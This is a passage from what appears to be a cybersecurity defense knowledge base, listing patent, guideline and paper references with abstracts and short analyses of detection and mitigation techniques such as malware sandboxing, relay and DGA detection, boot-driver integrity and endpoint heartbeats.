kb-abstract: A method and system for automatic termination of unauthorized malevolent processes operating on an information handling system. A list of authenticated and essential process list is stored on the information handling system. Unauthorized processes not contained on the list can be automatically terminated by the user by invoking the present invention with a single click of a mouse or pointer device on an icon residing on the display screen of the information handling system. The offending processes are immediately terminated without generating a user prompt, which would ordinarily provide sufficient time for the malware to spawn additional offending processes. The present invention also provides significant means to recover control of a malware-infected information handling system in order to use repair tools and utilities. The present invention can be deployed at the time of manufacture of an information handling system or independently installed by a user.
kb-author: Carlton Andrews
kb-organization: Dell Products LP
kb-reference-of: ProcessTermination
kb-reference-title: Instant process termination tool to recover control of an information handling system

Reference - Integer Range Validation
type: GuidelineReference
type: NamedIndividual
has-link: https://resources.sei.cmu.edu/downloads/secure-coding/assets/sei-cert-c-coding-standard-2016-v01.pdf
kb-organization: Software Engineering Institute
kb-reference-of: Integer Range Validation
kb-reference-title: SEI CERT C Coding Standard

Reference - Integrity assurance through early loading in the boot phase - Crowdstrike Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20170061127A1
kb-abstract: Techniques utilizing library and pre-boot components to ensure that a driver associated with a kernel-mode component is initialized before other drivers during a boot phase are described herein. The library component is processed during a boot phase; the pre-boot component, which may be an alternative to the library component, is processed during a pre-boot phase. By ensuring that the driver is the first driver initialized, the components enable the driver to launch the kernel-mode component before other drivers are initialized. The library component may also determine whether another driver is to be initialized before the kernel-mode component driver, may ensure that kernel-mode component driver is initialized first, and may alert the kernel-mode component. Also, the library component may retrieve information that is to be deleted by the operating system before initialization of drivers and may provide that information to the kernel-mode component.
kb-author: Ion-Alexandru Ionescu
kb-mitre-analysis: To compromise software or to gain control of a host device, a security exploit can modify driver initialization order used by an operating system and place a driver associated with the security exploit first in a list of drivers initialized by the operating system. This patent describes ensuring that a driver associated with the agent is initialized first. To ensure the driver is initialized first, a dependent DLL associated with the driver is configured to be processed before other dependent DLLs. The dependent DLL can be configured to be processed first by various methods, for example if processing is done in alphabetical order, changing its name to be processed first. The dependent DLL, once processed, executes a number of operations to ensure the driver associated with the agent is initialized first. Furthermore, if the initialization order is modified, an alert is provided to the kernel-mode component that notifies the kernel-mode component it was not first and the order had to be altered. It can then take additional actions such as additional monitoring or remediation.
kb-organization: Crowdstrike Inc
kb-reference-of: DriverLoadIntegrityChecking
kb-reference-title: Integrity assurance through early loading in the boot phase

Reference - Introductory Computer Forensics
type: Book Reference
type: NamedIndividual
has-link: https://core.ac.uk/download/pdf/326762883.pdf
kb-author: Xiaodong Lin
kb-reference-of: FileMetadataValueVerification
kb-reference-title: Introductory Computer Forensics

Reference - Intrusion detection using a heartbeat - Sophos Ltd
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20180191752A1
kb-abstract: A variety of techniques are disclosed for detection of advanced persistent threats and similar malware. In one aspect, the detection of certain network traffic at a gateway is used to trigger a query of an originating endpoint, which can use internal logs to identify a local process that is sourcing the network traffic. In another aspect, an endpoint is configured to periodically generate and transmit a secure heartbeat, so that an interruption of the heartbeat can be used to signal the possible presence of malware. In another aspect, other information such as local and global reputation information is used to provide context for more accurate malware detection.
kb-author: Kenneth D. Ray
kb-mitre-analysis: This patent describes a health monitor deployed on an endpoint that uses a heartbeat to periodically communicate status to a gateway's remote health monitor. The endpoint health monitor issues a heartbeat for satisfactory status of the endpoint using factors such as: * checking the status of individual software items executing on the endpoint * checking that antivirus and other security software is up to date (e. g., with current virus definition files) and running correctly * checking the integrity of cryptographic key stores * checking other hardware or software components of the endpoint as necessary or helpful for health monitoring A disappearance of the heartbeat from the endpoint may indicate that the endpoint has been compromised.
kb-organization: Sophos Ltd
kb-reference-of: EndpointHealthBeacon
kb-reference-title: Intrusion detection using a heartbeat

Reference - Isolation of applications within a virtual machine - Bromium, Inc.
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US9921860B1
kb-abstract: Approaches for launching an application within a virtual machine. In response to receiving a request to launch an application, a device instantiates, without human intervention and based on a policy, a virtual machine in which the application is to be launched. The policy determines which resources of a device, such as a mobile device or computer system, are accessible to the virtual machine. The policy may, but need not, determine whether the virtual machine has access to a type of resource which obligates the user of the device to make a monetary payment for the user of the resource.
kb-author: Gaurav Banga, Sergei Vorobiev, Deepak Khajuria, Vikram Kapoor, Ian Pratt, Simon Crosby, Adrian Taylor
kb-organization: Bromium, Inc.
kb-reference-of: Hardware-basedProcessIsolation
kb-reference-title: Isolation of applications within a virtual machine

Reference - LUKS1 On-Disk Format SpecificationVersion 1.2.3
type: SpecificationReference
type: NamedIndividual
has-link: https://mirrors.edge.kernel.org/pub/linux/utils/cryptsetup/LUKS_docs/on-disk-format.pdf
kb-abstract: LUKS is short for "Linux Unified Key Setup". It has initially been developed to remedy the unpleasantness a user experienced that arise from deriving the encryption setup from changing user space, and forgotten command line arguments. The result of this changes are an unaccessible encryption storage. The reason for this to happen was, a unstandardised way to read, process and set up encryption keys, and if the user was unlucky, he upgraded to an incompatible version of user space tools that needed a good deal of knowledge to use with old encryption volumes.
kb-author: Clemens Fruhwirth
kb-reference-of: DiskEncryption
kb-reference-title: LUKS1 On-Disk Format SpecificationVersion 1.2.3

Reference - Leverage Security Frameworks and Libraries - OWASP
type: GuidelineReference
type: NamedIndividual
has-link: https://top10proactive.owasp.org/archive/2018/c2-leverage-security-frameworks-libraries/
kb-organization: OWASP
kb-reference-of: Trusted Library
kb-reference-title: Leverage Security Frameworks and Libraries

Reference - MGT516: Managing Security Vulnerabilities: Enterprise and Cloud
type: InternetArticleReference
type: NamedIndividual
has-link: https://www.sans.org/cyber-security-courses/managing-enterprise-cloud-security-vulnerabilities/
kb-abstract: Vulnerability, patch, and configuration management are not new security topics. In fact, they are some of the oldest security functions. Yet, we still struggle to manage these capabilities effectively. The quantity of outstanding vulnerabilities for most large organizations is overwhelming, and all organizations struggle to keep up with the never-ending onslaught of new vulnerabilities in their infrastructure and applications. When you add in the cloud and the increasing speed with which all organizations must deliver systems, applications, and features to both their internal and external customers, security may seem unachievable. This course will show you the most effective ways to mature your vulnerability management program and move from identifying vulnerabilities to successfully treating them. 16 Cyber42 and lab exercises
kb-author: Jonathan Risto and David Hazar
kb-organization: SANS
kb-reference-of: OperationalRiskAssessment
kb-reference-title: MGT516: Managing Security Vulnerabilities: Enterprise and Cloud

Reference - MITRE ATT&CK - Authorization Enforcement
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://attack.mitre.org/mitigations/M0800/
kb-abstract: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector [1], while IEEE 1686 defines standard permissions for users of IEDs.
kb-author: MITRE
kb-reference-of: OperatingModeRestriction
kb-reference-title: MITRE ATT&CK - Authorization Enforcement

Reference - MITRE ATT&CK - Password Policies
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://attack.mitre.org/mitigations/M0927/
kb-abstract: Set and enforce secure password policies for accounts..
kb-author: MITRE
kb-reference-of: ChangeDefaultPassword
kb-reference-title: MITRE ATT&CK - Password Policies

Reference - Malicious relay detection on networks - VECTRA NETWORKS Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20150264083A1
kb-abstract: A system and method for detecting malicious relay communications is disclosed. Network communications can be received and analyzed using such network components as a network switch. The received traffic can be parsed into sessions. Relay metadata can be extracted from the sessions and further be used to categorize the sessions into one or more types of relay metadata behaviors. Once a significant amount of sessions are detected an alarm may be triggered and/or alarm data may be generated for analysis by network security administrators.
kb-author: Ryan James PRENGER; Nicolas BEAUCHESNE; Karl Matthew LYNN
kb-mitre-analysis: This patent describes a technique for detecting relay networks, i.e. an attacker outside of the organization's network takes control of an internal host to be used as a source of attacks against other internal targets or exfiltrate data out of the organization. In this defensive technique, metadata from collected network packet captures is extracted to categorize network sessions using known relay behaviors. Information such as the number of bytes sent to and from a potential internal relay host, time of session initiation, packet contents, packet size, flow direction, and packet arrival time statistics are used to categorize the sessions and identify relay behavior. This technique assumes that relay network connections' inter-packet arrival times exhibit a high degree of variance in comparison to standard client-to-server connections. If enough evidence of relay behavior is gathered about a given internal host, the host is identified as suspicious and an alert is generated.
kb-organization: VECTRA NETWORKS Inc
kb-reference-of: RelayPatternAnalysis
kb-reference-title: Malicious relay detection on networks

Reference - Malware analysis system - Palo Alto Networks Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20150319136A1
kb-abstract: In some embodiments, a malware analysis system includes receiving a potential malware sample from a firewall; analyzing the potential malware sample using a virtual machine to determine if the potential malware sample is malware; and automatically generating a signature if the potential malware sample is determined to be malware. In some embodiments, the potential malware sample does not match a preexisting signature, and the malware is a zero-day attack.
kb-author: Huagang Xie; Xinran Wang; Jiangxia Liu
kb-mitre-analysis: This patent describes a VM sandbox environment that uses heuristic based analysis techniques performed in real-time during a file transfer to determine if the file is malicious. A new signature can then be generated and distributed to automatically block future file transfer requests to download the malicious file.
kb-organization: Palo Alto Networks Inc
kb-reference-of: DynamicAnalysis
kb-reference-title: Malware analysis system

Reference - Malware detection in event loops - Crowdstrike Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20190205530A1
kb-abstract: Example techniques locate or identify malware based on events from or at monitored computing devices. A control unit can detect a sequence of events of various types. The control unit can locate a loop within the sequence of events based at least in part on relative frequencies of the event types. The control unit can determine a distribution of event types of the events within the loop, and determining that software running the sequence is associated with malware based at least in part on the distribution of event types within the loop. In some examples, the control unit can locate a point of commonality among a plurality of stack traces associated with respective events within the loop. The control unit can determine a malware module comprising the point of commonality.
kb-author: Daniel W. Brown
kb-mitre-analysis: The patent describes determining if a sequence of events associated with a process are associated with malware. Based on the relative frequency of events, a loop within a sequence of events is located and a distribution of the events within the loop is determined. The distribution of events is then compared against a catalog of distributions to determine if it is associated with malware.
kb-organization: Crowdstrike Inc
kb-reference-of: SystemCallAnalysis
kb-reference-title: Malware detection in event loops

Reference - Method and apparatus for detecting anomalies of an infrastructure in a network
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/AU2023200991A1/
kb-abstract: The present invention relates to a method and to an apparatus for detecting anomalies of an infrastructure in a network comprising analysing a data packet (PD) exchanged in a network and identifying the network protocol and all the fields, through a network analyser (101), defining an identified protocol and identified fields of said data packet (PD), and, by means of computerized data processing means (102), extracting identification fields, to identify a device of the infrastructure in the network, matching the identified device with a plurality of predefined standard devices in a predefined devices knowledge database, to recognise a matching device, retrieving one or more allowed fields and one or more allowed protocols of the matching device from the predefined devices knowledge database, comparing the allowed fields and the allowed protocols respectively with the identified fields and the identified protocol, defining at least one critical state of the infrastructure when the identified fields differ from the allowed fields or when the identified protocol differ from the allowed protocols and signalling an anomaly of the infrastructure when at least one of the critical states is identified.
kb-organization: Nozomi Networks
kb-reference-of: ApplicationProtocolCommandAnalysis
kb-reference-title: Method and apparatus for detecting anomalies of an infrastructure in a network

Reference - Method and Apparatus for Detecting Malicious Websites - Endgame Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20140331319A1
kb-abstract: A method and apparatus for detecting malicious websites is disclosed.
kb-author: John Burnet MUNRO, IV; Jason Aaron Trost; Zachary Daniel HANIF
kb-mitre-analysis: This patent describes a domain classification engine on the host computer that analyzes URLs clicked by a user or entered into a web browser to visit a website. URL analysis is done by using a combination of techniques: * Feature extraction: A URL is analyzed against features associated with suspicious URLs such as % of longest consecutive digits in a subdomain, % of longest repeated characters in a subdomain, % of vowels in a high level domain. * Markov analysis: The probability of a digit occurring in normal language given the preceding two digits is determined. For example, if the received URL is google.com, the probability of a 'g' occurring at the beginning of a word, the probability of an 'o' occurring after a "g, the probability of an "o' occurring after a 'g' and "o, and so forth will be determined. The probability of each digit is then multiplied to get a probability for the whole domain name. Probabilities are determined based on a database of existing usage, such as a dictionary, or a list of known good domain names * Domain names are compared against an existing dataset of known unauthorized domain names. A rating is developed based on the results of these techniques, and if the rating is over a set threshold, an action is taken such as blocking access or generating an alert.
kb-organization: Endgame Inc
kb-reference-of: URLAnalysis
kb-reference-title: Method and Apparatus for Detecting Malicious Websites

Reference - Method and apparatus for increasing the speed at which computer viruses are detected - McAfee LLC
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US5502815A
kb-abstract: The method and apparatus for increasing the speed at which computer viruses are detected stores initial state information concerning the file or volume which is being examined for a virus. This information is stored in a cache in a non-volatile storage medium and when files are subsequently scanned for viruses, the current state information is compared to the initial state information stored in the cache. If the initial state information differs from the current state information then the file or volume is scanned for viruses which change the state information of the file or volume. If the initial state information and current state information is the same then the file or volume is scanned for a subset of viruses which do not change the state information.
kb-author: Paul D. Cozza
kb-organization: McAfee LLC
kb-reference-of: ExecutableDenylisting
kb-reference-title: Method and apparatus for increasing the speed at which computer viruses are detected

Reference - Method and apparatus for utilizing a token for resource access - Rsa Security Inc.
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US5657388A/en
kb-abstract: A method and apparatus for utilizing a token which is preferably a "dumb token" to provide secure access by authorized users to a selected resource. The token stores a secret user code in machine readable form, which code is read by a token processor. The token processor also receives a time-varying value and an algorithm, both of which may be stored or generated at either the token or the token processor and preferably a secret personal identification code which may be inputted at the token, but is preferably inputted at the token processor. The secret user code, time-varying value and secret personal identification code are then algorithmically combined by the algorithm, preferably in the token processor, to generate a one-time nonpredictable code which is transmitted to a host processor. The host processor utilizes the received one-time nonpredictable code to determine if the user is authorized access to the resource and grants access to the resource if the user is determined to be authorized. The system may be modified to operate in query/response mode. The token processor may be any of a variety of available portable remote processors or may be a device such as a telephone which is equipped with card or other token reader and with processing capability.
kb-author: Kenneth P. Weiss
kb-organization: Rsa Security Inc.
kb-reference-of: Multi-factorAuthentication
kb-reference-title: Method and apparatus for utilizing a token for resource access

Reference - Method and system for controlling communication ports
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US8566924
kb-abstract: A method for limiting devices and controlling the applications executed from USB ports on personal computers (PCs).
kb-author: Steven V Bacastow
kb-organization: OL Security LLC
kb-reference-of: IOPortRestriction
kb-reference-title: Method and system for controlling communication ports

Reference - Method and system for detecting algorithm-generated domains - VECTRA NETWORKS Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20150264070A1
kb-abstract: A method and system for detecting algorithm-generated domains (AGDs) is disclosed wherein domain names requested by an internal host are categorized or classified using curated data sets, active services (e.g. Internet services), and certainty scores to match domain names to domain names or IP addresses used by command and control servers.
kb-author: James Patrick HARLACHER; Aditya Sood; Oskar Ibatullin
kb-mitre-analysis: This patent describes detecting algorithm generated domains (AGD). DNS requests and responses are analyzed by first checking whether the domain matches existing data sets that specify different types of AGDs with known characteristics, such as Evil Twin Domains, Sinkholed domains, sleeper cells, ghost domains, parked domains, and/or bulk-registered domains. In addition to comparing domains against known data sets, the following information is collected to perform analysis: * IP Information: checks for information known about the IP addresses returned in the DNS response, including the number of IP addresses returned, the registered owners of the IP addresses, or different IP addresses returned for the same domain (IP fluxing) * Domain Registration: examines the domain registration date, domain update date, domain expiration date, registrant identity, and authorized name servers associated with a specific domain name. * Domain Popularity: provides information on the popularity of a domain name. Based on analysis of these factors a score is developed; if the score is above a certain threshold, an alert is generated.
kb-organization: VECTRA NETWORKS Inc
kb-reference-of: DNSTrafficAnalysis
kb-reference-title: Method and system for detecting algorithm-generated domains

Reference - Method and system for detecting external control of compromised hosts - VECTRA NETWORKS Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US9407647B2/en
kb-abstract: A detection engine may be implemented by receiving network traffic and processing the traffic into one or more session datasets. Sessions not initiated by an internal host may be discarded. The frequency between the communication packets from the internal host to external host may be grouped or processed into rapid-exchange instances. The number of rapid-exchange instances, the time intervals between them, and/or the rhythm and directions of the initiation of the instances may be analyzed to determine that a human actor is manually controlling the external host. In some embodiments, when it is determined that only one human actor is involved, alarm data may be generated that indicates that a network intrusion involving manual remote control has occurred or is underway.
kb-author: Nicolas BEAUCHESNE; Ryan James PRENGER
kb-mitre-analysis: This patent describes detecting an external attacker taking remote control of an internal host. Detection includes identifying sessions where the external host controls the internal host in the opposite direction the session was initiated. The number of rapid-exchange communication instances (i.e, communications that occur between the two hosts with little silence gap), the time intervals between them, and/or the rhythm and direction of the instances, are analyzed to determine if an external human actor is manually controlling the internal host.
kb-organization: VECTRA NETWORKS Inc
kb-reference-of: RemoteTerminalSessionDetection
kb-reference-title: Method and system for detecting external control of compromised hosts

Reference - Method and system for detecting malicious payloads - Vectra Networks Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/EP3293937A1/en
kb-abstract: Disclosed is an improved method, system, and computer program product for identifying malicious payloads. The disclosed approach identifies potentially malicious payload exchanges which may be associated with payload injection or root-kit magic key usage. Some examples of data inputs: Information for clients and servers, such as IP address and host information Payloads for both clients and servers Amount of data being transferred Duration of communications Length of time delay between client request and server response
kb-author: Nicolas Beauchesne; John Steven Mancini
kb-mitre-analysis: Extraction of network flow data and using unsupervised machine learning to create a standard baseline. During the monitoring phase, abnormal network metadata will result in an alert.
kb-organization: Vectra Networks Inc
kb-reference-of: Client-server Payload Profiling
kb-reference-title: Method and system for detecting malicious payloads

Reference - Method and system for detecting restricted content associated with retrieved content - Sophos Ltd
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20160359883A1
kb-abstract: In embodiments of the present invention improved capabilities are described for detecting restricted content associated with retrieved content. The method and system may include receiving a client request for content, saving contextual information from the client request, presenting retrieved content in response to the client request, and presenting the contextual information from the client request, and retrieved content, to a scanning facility. The scanning facility may utilize the contextual information from the client request to aid in the detection of restricted content associated with retrieved content.
kb-author: Fraser Howard; Paul Baccas; Vanja Svajcer; Benjamin John Godwood; William James McCourt
kb-mitre-analysis: This patent describes analyzing contextual information of a Uniform Resource Identifier (URI), such as source or origin of the request URI, patterns in the way the URI is delivered, and the locale of the URI. The contextual information is sent to a scanning facility which uses that information along with a blacklist of known malicious domain names, locations, patterns, etc. to block retrieved content associated with the request URI.
kb-organization: Sophos Ltd
kb-reference-of: URLAnalysis
kb-reference-title: Method and system for detecting restricted content associated with retrieved content

Reference - Method and system for detecting suspicious administrative activity - Vectra Networks Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20180077186A1
kb-abstract: Disclosed is an improved approach for identifying suspicious administrative host activity within a network. Network traffic is examined to learn the behavior of hosts within a network. This provides an effective way of determining whether or not a host is performing suspicious activity over an administrative protocol.
kb-author: Nicolas Beauchesne; Kevin Song-Kai Ni
kb-mitre-analysis: Collect network traffic metadata directed at administrative services over a period of time to establish a baseline. This baseline is then used to determine suspicious activity that falls outside of the established baseline.
kb-organization: Vectra Networks Inc
kb-reference-of: AdministrativeNetworkActivityAnalysis
kb-reference-title: Method and system for detecting suspicious administrative activity

Reference - Method and system for detecting threats using metadata vectors - VECTRA NETWORKS Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20160191551A1
kb-abstract: An approach for detecting network attacks using metadata vectors may initially involve receiving network communications or packets, extracting metadata items from the packets. The metadata items describe the communications without requiring deep content inspection of the data payload or contents. The communications may be clustered into groups using the metadata items. If a cluster exceeds a threshold, an alarm may be generated.
kb-author: Nicolas BEAUCHESNE; David Lopes Pegna; Karl Lynn
kb-mitre-analysis: This patent describes detecting network threats by first passively collecting network traffic and storing it for processing. Metadata from network traffic such as packet header information or information about a session (ex. time between request/responses) is extracted. After the metadata is extracted, the data is grouped into cluster maps of matching events to track how many instances of a network communication have occurred, such as five requests sent and five responses received. Threshold limits are set on the clusters to monitor them and if a cluster grows too large (ex. ten instances of requests and responses) this can correspond to unauthorized behavior. This method might detect, for example, a network attack using malicious payloads with automated scripts, in which a bot sends replicated malicious payloads to the same destination port.
kb-organization: VECTRA NETWORKS Inc
kb-reference-of: ProtocolMetadataAnomalyDetection
kb-reference-title: Method and system for detecting threats using metadata vectors

Reference - Method and system for detecting threats using passive cluster mapping - Vectra Networks Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20160149936A1
kb-abstract: An approach for detecting network threats is disclosed, that may involve receiving network traffic, plotting the network traffic in a n-dimensional feature space to form a network map, generating a client signature at least by placing new client points in the map, setting a threshold, and generating an alarm if one or more client activity points exceed the threshold. In some embodiments, the network map and the client signature are updated using sliding windows and distance calculations.
kb-author: David Lopes PEGNA; Nicolas Beauchesne
kb-mitre-analysis: This patent describes detecting network threats by first passively collecting network traffic and storing it for processing. The stored network traffic data is used to map network events to create a cluster map. Events are network activity associated with clients, servers, or control modules such as a Kerberos Domain Controller (KDC); account information; services accessed by the client; or the number of times a service is accessed. Events that exceed a threshold from a center of gravity point of a cluster are identified as suspicious activity and an alert is generated.
kb-organization: Vectra Networks Inc
kb-reference-of: ProtocolMetadataAnomalyDetection
kb-reference-title: Method and system for detecting threats using passive cluster mapping

Reference - Method and system for providing software updates to local machines
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US10474448B2/en
kb-author: John Melton Reynolds
kb-organization: Sophos Ltd
kb-reference-title: Method and system for providing software updates to local machines

Reference - Method and system for UDP flood attack detection - Riorey LLC
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US8307430B1
kb-abstract: A system and method is provided to identify UDP attacks. A processor determines a spectral density of packet timing intervals, a natural distance between the spectral density and a uniform distribution, and a non-linear amplifier applying a non-linear amplification to the natural distance to detect a denial-of-service attack. It uses the concept of traffic statistics analysis, i.e., spectral densities of arrived-packet timing intervals, calculates the KL-distance measurement and makes decision based on the output of a non-linear Gaussian amplifier, with which one can easily adjust the amplifier via selecting different parameters of mean and variance to satisfy system requirements of false-positive and false-negative UDP attack detections.
kb-author: Hongda Chen, Lijin Lu
kb-reference-of: InboundSessionVolumeAnalysis
kb-reference-title: Method and system for UDP flood attack detection

Reference - Method for detecting anomalies in time series data produced by devices of an infrastructure in a network
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/CA3191230A1/
kb-abstract: The present invention relates to a method for detecting anomalies in time series data produced by devices of an infrastructure in a network comprising, for each of the devices through computerized data processing means, retrieving a time series data for the device in the network, extracting a plurality of time series samples relating to respective time windows and having a predefined window size and a predefined stride, by sliding the time windows to overlap the time series data, supplying the time series samples as input to a Convolutional Autoencoder to define reconstructed time series values having a predefined percentile intervals, analysing the reconstructed time series values to identify anomalous behaviours of the time series data, signalling an anomaly of the device when at least one anomalous behaviour is identified.
kb-organization: Nozomi Networks
kb-reference-of: RemoteFirmwareUpdateMonitoring
kb-reference-title: Method for detecting anomalies in time series data produced by devices of an infrastructure in a network

Reference - Method using kernel mode assistance for the detection and removal of threats which are actively preventing detection and removal from a running system - Symantec Corporation
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US8239947B1
kb-abstract: A user mode application component invokes the assistance of a kernel mode driver component to detect and/or remediate malicious code on a computer system. The user mode application may include code that detects, for example, spyware and computer viruses, from user mode and when appropriate takes protective action when malicious code is detected. In one aspect, when the user mode application is unable to perform a selected operation in attempting to detect and/or take protective action, the user mode application invokes a kernel mode driver for assistance. The kernel mode driver assists user mode application in detecting malicious code and/or taking protective action by enabling or otherwise performing a selected operation for the user mode application.
kb-author: Adam Glick, Patrick Gardner, Pieter Viljoen
kb-mitre-analysis: This patent describes detecting registry changes using a prohibited change heuristic or a database of prohibited functions/function parameters.
kb-organization: Symantec Corporation
kb-reference-of: SystemDaemonMonitoring
kb-reference-title: Method using kernel mode assistance for the detection and removal of threats which are actively preventing detection and removal from a running system

Reference - Mission Dependency Modeling for Cyber Situational Awareness
type: AcademicPaperReference
type: NamedIndividual
has-link: https://csis.gmu.edu/noel/pubs/2016_NATO_IST_148.pdf
kb-abstract: This paper describes a hierarchical graph-based model that captures mission dependencies at various levels of abstraction, showing interdependencies among mission objectives, tasks, information, and cyber assets. For this work, we employ established tools within a structured methodology for cyber resiliency analysis. Our model is focused on a strategic-level military scenario defined in a formal Request for Information (RFI) to industry and research partners by the NATO Multinational Cyber Defense Capability Development (MN CD2) Work Package 2 (WP2). We enhance this scenario with additional mission and operational context, and then build a mission dependency model for the enhanced scenario. It is anticipated that our mission dependency model will be part of an upcoming demonstration of cyber defense situational awareness capabilities in a NATO Communications and Information (NCI) Agency test environment, integrated with data sources that represent the operational military environment.
kb-author: William Heinbockel, Steven Noel, James Curbo
kb-organization: JHU APL
kb-reference-of: OperationalDependencyMapping
kb-reference-title: Mission Dependency Modeling for Cyber Situational Awareness

Reference - Mock attack cybersecurity training system and methods - WOMBAT SECURITY TECHNOLOGIES Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US9558677B2/
kb-abstract: A training system senses a user action that may expose the user to a threat, such as a cybersecurity threat. The user action may be in response to a mock attack delivered via a messaging service, a wireless communication service, a fake malware application or another device, service, system or mechanism. The system selects a training action from a collection of available training actions and causes the training action to be delivered to the user.
kb-author: Norman Sadeh-Koniecpol, Kurt Wescoe, Jason Brubaker, Jason Hong
kb-organization: WOMBAT SECURITY TECHNOLOGIES Inc
kb-reference-of: Decoy Public Release
kb-reference-title: Mock attack cybersecurity training system and methods

Reference - Modeling user access to computer resources - Daedalus Group LLC (formerly IBM)
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US8214364B2
kb-abstract: Embodiments of the invention provide a method for detecting changes in behavior of authorized users of computer resources and reporting the detected changes to the relevant individuals. The method includes evaluating actions performed by each user against user behavioral models and business rules. As a result of the analysis, a subset of users may be identified and reported as having unusual or suspicious behavior. In response, the management may provide feedback indicating that the user behavior is due to the normal expected business needs or that the behavior warrants further review. The management feedback is available for use by machine learning algorithms to improve the analysis of user actions over time. Consequently, investigation of user actions regarding computer resources is facilitated and data loss is prevented more efficiently relative to the prior art approaches with only minimal disruption to the ongoing business processes.
kb-author: Joseph P. Bigus, Leon Gong, Christoph Lingenfelder
kb-organization: Daedalus Group LLC (formerly IBM)
kb-reference-of: ResourceAccessPatternAnalysis
kb-reference-title: Modeling user access to computer resources

Reference - Modification of a Server to Mimic a Deception Mechanism - Acalvio Technologies Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20170149825A1
kb-abstract: Provided are devices, computer-program products, and methods (e.g., methods implemented by a production system or security agent program or process) for providing services on a production system to mimic a deception mechanism. For example, a method can include determining a deception characteristic of a deception mechanism and determining a production characteristic of the production system. The method can further include determining an additional service or a modification of an existing service of the production system using the deception characteristic and the production characteristic. In some cases, the additional service and/or the modification can be a deterrent to potential attackers of the production system. The method can further include modifying the production system to mimic the deception mechanism, including adding the additional service to the production system or modifying the existing service using the modification.
kb-author: Sreenivas Gukal, Rammohan Varadarajan
kb-organization: Acalvio Technologies Inc
kb-reference-of: Connected Honeynet
kb-reference-title: Modification of a Server to Mimic a Deception Mechanism

Reference - Munin
type: SourceCodeReference
type: NamedIndividual
has-link: https://github.com/Neo23x0/munin
kb-author: Florian Roth
kb-reference-title: Online Hash Checker for Virustotal and Other Services

Reference - NIST RMF Quick Start Guide - Assess Step - Frequently Asked Questions (FAQ)
type: InternetArticleReference
type: NamedIndividual
has-link: https://csrc.nist.gov/CSRC/media/Projects/risk-management/documents/05-Assess%20Step/NIST%20RMF%20Assess%20Step-FAQs.pdf
kb-abstract: Once security and privacy controls are implemented, they need to be evaluated for correctness and effectiveness. After the initial assessment is completed and the system enters the operations/maintenance phase of the system development life cycle, the controls are assessed on an ongoing basis according to the organization and system’s continuous monitoring plans. The ongoing assessment supports the authorizing official’s decision to continue or discontinue the system’s authorization to operate. Control effectiveness assessments are performed by an independent third-party assessor or assessment team if the system categorization is moderate or high.
kb-organization: NIST
kb-reference-of: OperationalRiskAssessment
kb-reference-title: NIST RMF Quick Start Guide - Assess Step - Frequently Asked Questions (FAQ)

Reference - NIST Special Publication 800-53 Revision 5: Security and Privacy Controls for Information Systems and Organizations
type: GuidelineReference
type: NamedIndividual
has-link: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r5.pdf
kb-abstract: This publication provides a catalog of security and privacy controls for information systems and organizations to protect organizational operations and assets, individuals, other organizations, and the Nation from a diverse set of threats and risks, including hostile attacks, human errors, natural disasters, structural failures, foreign intelligence entities, and privacy risks. The controls are flexible and customizable and implemented as part of an organization-wide process to manage risk. The controls address diverse requirements derived from mission and business needs, laws, executive orders, directives, regulations, policies, standards, and guidelines. Finally, the consolidated control catalog addresses security and privacy from a functionality perspective (i.e., the strength of functions and mechanisms provided by the controls) and from an assurance perspective (i.e., the measure of confidence in the security or privacy capability provided by the controls). Addressing functionality and assurance helps to ensure that information technology products and the systems that rely on those products are sufficiently trustworthy
kb-organization: NIST
kb-reference-of: PhysicalAccessMonitoring
kb-reference-title: NIST Special Publication 800-53 Revision 5: Security and Privacy Controls for Information Systems and Organizations

Reference - NIST Special Publication 800-160 Volume 1 - System Security Engineering
type: GuidelineReference
type: NamedIndividual
has-link: https://doi.org/10.6028/NIST.SP.800-160v1
